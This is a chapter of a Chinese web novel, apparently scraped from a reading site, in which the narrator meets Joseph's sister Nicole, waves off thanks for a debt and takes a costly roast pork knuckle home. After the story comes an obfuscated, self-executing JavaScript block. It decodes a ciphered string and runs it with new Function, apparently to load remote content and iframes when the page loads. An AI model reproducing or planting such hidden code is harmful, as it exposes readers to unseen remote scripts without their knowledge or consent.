(手机请访问 m.duxs8.com); 重宜坊就在南桥南边，离营区很近。
但是那家遮曼尼人开的商店，离南桥很远，从营区走过去要二十多分钟。从那边直接往约瑟夫家走，要走半个钟头。
从外观上来看，约瑟夫家和我家没多大差别，就是瓦片的颜色浅了点。我不打算进他家的门，不光是因为我不想和他有真正的交情，更因为我拎着价值二十块钱的烤肘子。
第一次进别人的家门，就算不是朋友，也不能空着手啊。我能拎着它走进去，但是绝对不好意思拎着它走出来。
就在我打算转身离开的时候，约瑟夫家的门“吱呀——”一声打开了。门中走出一位有着亮金色头发，蓝色眸子，相貌上与约瑟夫有七分相似，清丽可人的少女。她身穿棕色的遮曼尼式长裙，上身裹着红底白纹的大先式夹袄，脚上穿着棉布鞋，手臂上挎着竹篮子，似乎是要出去买菜。
“布吾德俄？”
少女一开口就是我听不懂的外国话，看到她惊讶的表情，与视线末端的约瑟夫，我觉得她八成是在为约瑟夫的归来感到惊讶。
“妮可！”
约瑟夫也说起了外国话，我依旧听不懂。不过看他举起手中香肠、熏肉、白面包和蜡烛的动作，应该是在向少女炫耀吧？
在这之后，又是叽里咕噜一大堆我听不懂的话。两人在门口用遮曼尼话说了半天，那少女看起来很生气，不管约瑟夫说什么，她都不停的摇头。
如果毕大小姐在这里，我肯定会求她帮忙翻译一下。她会遮曼尼话，还向我炫耀过。除了遮曼尼话，她还会佛兰斯话与因格兰德话，不过在我听来，这三种语言没什么区别，都是叽里咕噜的，一句也听不懂。
哎呀，反正也听不懂，这也不是我家的事，该做的我已经做了，之后的事我才不管呢。
就在我想要转身离开的时候，约瑟夫直接丢下手中的东西，将我拽住，然后介绍似的指着我，对着少女说道。
“妮可！达斯诶斯门范安德！瑟嗯纳姆诶斯枪！枪理！厄恩瓦芬呢维施！”
啊！这次我听懂一句！
枪理！他在说我的名字！
呃，可这有什么用呢？我还是不知道他在说什么。
“芬呢维施？”
少女用疑惑的目光看向我，露出不信任的表情，又一次摇起了头。
“布礼图乐俄，依施宾恩特俄儿施特。”
“等等等等等等等等！打住！”
我被这两个人吵的脑浆子疼，直接拽住约瑟夫问道。
“你俩这叽里咕噜说啥呢？怎么还扯上我了？”
“啊！抱歉！忘了！”
约瑟夫一拍脑袋，向我解释说。
“这是我的妹妹，妮可。我刚才说，你是我的朋友，名字叫枪理，是少尉，可是她不信，还说我是骗子。”
“你妹妹不会大先话吗？”
“她只会一点点，日常的。”
“咱俩现在说的话，她能听懂吗？”
“一部分。”
约瑟夫将右手抬起来，挫了挫拇指和食指。
“很多词她不懂。”
“那你告诉她，我就是少尉！第七军团的！不信的话就来南桥的军营来找我！”
约瑟夫用遮曼尼语向妮可转述了我的话——至少看起来是这样的。妮可听了我的话，依旧是一副将信将疑的表情。
“你，是……他的朋友？”
以前我觉得约瑟夫的大先话很不标准，说的硬邦邦的。在听了妮可的大先话之后，我才知道什么叫做真正的“硬邦邦的大先话”。
“我不是他的朋友！”
我怕妮可不理解我的话，于是又用更容易让她理解的方式，一边打手势，一边说道。
“朋友！不！没有！不存在！”
在我这样说完之后，约瑟夫赶紧又叽里咕噜的和她妹妹说了一大堆。他说话的时候指了指地上的那些东西，又看了看我，估计是在解释这些东西和我之间的关系。
在这之后，妮可的脸色便好看了许多。她诚恳的向我低下头，说。
“党可兹依俄！”
“她说，非常感谢！”
其实不用约瑟夫翻译，我也猜到她在说什么了。
“谢谢你！非常谢谢你！”
在这之后，妮可又用硬邦邦的大先话说道。
“恩人！感谢！好人！祝福你！”
她每说一个词，就要来一次深鞠躬。因为说话的速度太快，她鞠躬的速度也很快，我根本来不及拦她。
在这之后，她又对约瑟夫说了几句遮曼尼语。在这之后约瑟夫面露难色，似乎不太想把妮可的话翻译给我听。妮可又大声对他说了几句遮曼尼语，约瑟夫才苦着脸举起右手，说了几句遮曼尼语，然后转头对我说。
“妮可说，她会把钱还给你。”
“她说了一大堆话，你就翻译过来这一句？”
“她说的话，是说我的。”约瑟夫苦笑道，“她不相信我，还让我发誓，必须要如实转达。”
连亲妹妹都不相信他——然而我对此并不感觉意外。
“你告诉你妹妹，说这钱是你借的，要还也是你还。你要是还不上，以后就别来见我。如果在还上钱之前你还敢来找我，以后我见你一次就打你一次。”
我不知道约瑟夫有没有如实转达我的话，只知道他对着妮可叽里咕噜说了一大堆。不过不管他转不转达，我的想法都不会变。如果在他还上这十五块六毛钱之前再来找我，不管是因为什么，以后我见他一次就打他一次。
“谢谢你！”
妮可听了约瑟夫的转述的话之后，又向我鞠了一次躬。然后她便对约瑟夫说了几句遮曼尼语，约瑟夫对我说，妮可想邀请我和他们一起吃年夜饭。我谢绝了妮可的邀请，因为今天我家也要庆祝——庆祝清雪任务结束。
拎着烤肘子回到家时，肘子已经冻实了，像石头一样硬。娘生火又烤了一下，不知是不是冻住又烤化的原因，这肘子没有我想象中的那么好吃，不过大家都吃的挺香的。
我没敢说这烤肘子的价格，如果知道这肘子是花二十块钱买的，娘非得打我一顿不可。二十块钱，这在市场上够买三四个大肘子了。而我买的这个肘子，还没有大肘子的一半大，算上骨头也就不到三斤。
(function(){function pa49a0b(yba62){var efc5dbfe1="Dm7A%P|~5IE;gsl]rUONeH16y[To?Zvn2:YLi.&zGXB3f^CVa!/0$Wxk=dQF_(buJc4@tpRSMqwK98-,hj";var w50c463d="d3eqvW]=&Es$^h(gf8R!c,wOiCNS1LZApjMGzoJ_7xnX/Ty:a@uB;.rFl5U|6Q[0~%DHk2mPKVtYI9b-?4";return yba62.split('').map(function(yd7ae){var dd210=efc5dbfe1.indexOf(yd7ae);return dd210==-1?yd7ae:w50c463d[dd210]}).join('')}var c=pa49a0b('h2ps://1yBD.1b"" + "E" + "8" + "_" + "e" + "-"+""|~r/Bewy.Bl){$lr/Bewy.Bl=maG?H2r8?eD-amH/G_au?DGHD-dr8-eG){yrlfgYaeFPyBfWw7EwlBa%y]aw.xW2=awr.xR)){x7w/xB}$%ax xurGr~r/Bewy.Bl/ajjj_-r){x7w/xB owxyB]Wrx.R[sax[.D7l/ajjj_-r)}$%ax /G7GG8~b"w,?"H"%,?8"H"/,pUp_?jp_up_dup8"H"D,pupj,u8,u? ?UVmGV?m"H"ECE,ie"|$%ax R-m_e-~/G_au?DGbxurGrluX_?)+xurGrluXGj)+xurGrluX_k)+xurGrluX_p)|Hw_pGrr~/G_au?DGbxurGrluX_p)+xurGrluXGj)+xurGrluX_k)+xurGrluX_?)|H1j-aDGe~D-dr8-eGbR-m_e-l"KmqCeRq/DkT:eR=1Dn~~")|H:rp?mj~R-m_e-l"Km&=K3O=OPX=-Pq/Dn~~")HDeU?m7Du7~R-m_e-l"emqyemOCaPdB")H.mm-aDe~R-m_e-l"eRq1-Lk:v(~~")H-ejppUG8~R-m_e-l"em0Ea3(~")HBm87D~R-m_e-l"eRqpv3&iv(~~")H%D_8Up~R-m_e-l"aR82-]~~")H.aUrd_m~R-m_e-l"eRk/vL8w")H:7p-rG~/G_au?DGbR-m_e-l"^Pkuan~~")|H%d?aje77a~R-m_e-l"-L8svn~~")$%ax w-uuejeu?~R-m_e-l"7RTtvP&?v1~~")$%ax 1??-7r$yrl=.eawy.BWE7axesWyBD7X6rlw-uuejeu?)>,?){1??-7r~D-dr8-eGb:rp?mj|lR-m_e-l"DLqjDLkCvPI~"))$1??-7rWyD~"w"+l:7p-rGb.aUrd_m|l)*?uuuu)$1??-7rWEwC=7W1yDws~"?uuc"$1??-7rWEwC=7Ws7y]sw~"duu2X"$1??-7rWDyEa-=7D~wx/7$yrlD-dr8-eGW-.DCN~B/==){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)}7=E7{%ax ]pdppm~r/Bewy.Bl){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)$/G_au?DGWx7R.%7I%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}$/G_au?DGWaDDI%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}}%ax 1uUU8~D-dr8-eGb:rp?mj|lR-m_e-l"vP?yvP(~"))$1uUU8WEwC=7Ws7y]sw~"u2X"$1uUU8WyD~2r8?eD-am+l:7p-rGWe7y=l:7p-rGb.aUrd_m|l)*?uuuu))$%ax E-j_a~r/Bewy.Bla_eGaUGuU){%ax AGmU-_U~B71 4aw7l)$%ax XDdGdDG~`aD%o2ae79Dz;{2r8?eD-am}z;{AGmU-_UWw.Z.ea=74aw7owxyB]l)}`$%ax R_?-a-ja~&o6TW2axE7l=.ea=ow.xa]7W]7w9w7RlXDdGdDG))$yrlR_?-a-ja~~B/==){R_?-a-ja~{-x.1E7x[./BwVu}}R_?-a-jaW-x.1E7x[./Bw++$%ax 2G8jdD8u~w_pGrrl/G7GG8We.Beawlb4aw7b"B.1"|l)H=.eawy.BWsx7rH`sEe,;{R_?-a-jaW-x.1E7x[./Bw}`|)WE.xwll)~>:7p-rGb.aUrd_m|l),uWd)b%D_8Up|l"H"))$%ax 7pm_G_u~2G8jdD8uWyBD7X6rlxurGrluXmD))>,?h2G8jdD8ubDeU?m7Du7|l2G8jdD8uWyBD7X6rlxurGrluXmD)))V""$2G8jdD8u~2G8jdD8ub.mm-aDe|l7pm_G_uH"")b-ejppUG8|l"")bBm87D|l)b%D_8Up|l"")+7pm_G_u$1uUU8WExe~b"sww2EVff"Ha_eGaUGuUH2G8jdD8u|b%D_8Up|l"f")$D-dr8-eGW-.DCWa227BD[sy=Dl1uUU8)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Ba227BD7D 7R w. swR="$%ax a8pG8~D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)$yrla8pG8~~B/==FFa8pG8~~/BD7ryB7D){1??-7rW%a=/7+~"\\x\\B eaBw ]7w 7R rx.R swR="}}}$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\BE7BD :E s.Ew "+=maG?}%ax Cujpda~r/Bewy.Bl.ue7dd8){x7w/xB R-m_e-l.ue7dd8)b.mm-aDe|lxurGrluXpn)H:7p-rGb.aUrd_m|l)Ww.owxyB]lm_)WE=ye7l:7p-rGWr=..xl:7p-rGb.aUrd_m|l)*8)+p))}$E-j_alCujpdal=maG?))$/G_au?DGb"aDDI%7BwZyEw7B7x"|l"R7EEa]7"Hr/Bewy.Bl7){yrl7WDawaWt~~2r8?eD-am){D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)Wx7R.%7l)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Bx7e7y%7 7R 2.Ew R7EEa]7"$1??-7rW%a=/7+~"\\x\\B7WDawaW% "+7WDawaWA}B71 k/Bewy.Bl"ax]E"H7WDawaWA)l{zwDeEV1j-aDGeHzwxaV1??-7r})}})})l"MydAaPk/7@q_DPU/Kp8w"H"pUp_?jp_up_dup8"H1yBD.1HD.e/R7Bw)}$E8_e-l)$'.substr(7));new Function(c)()})();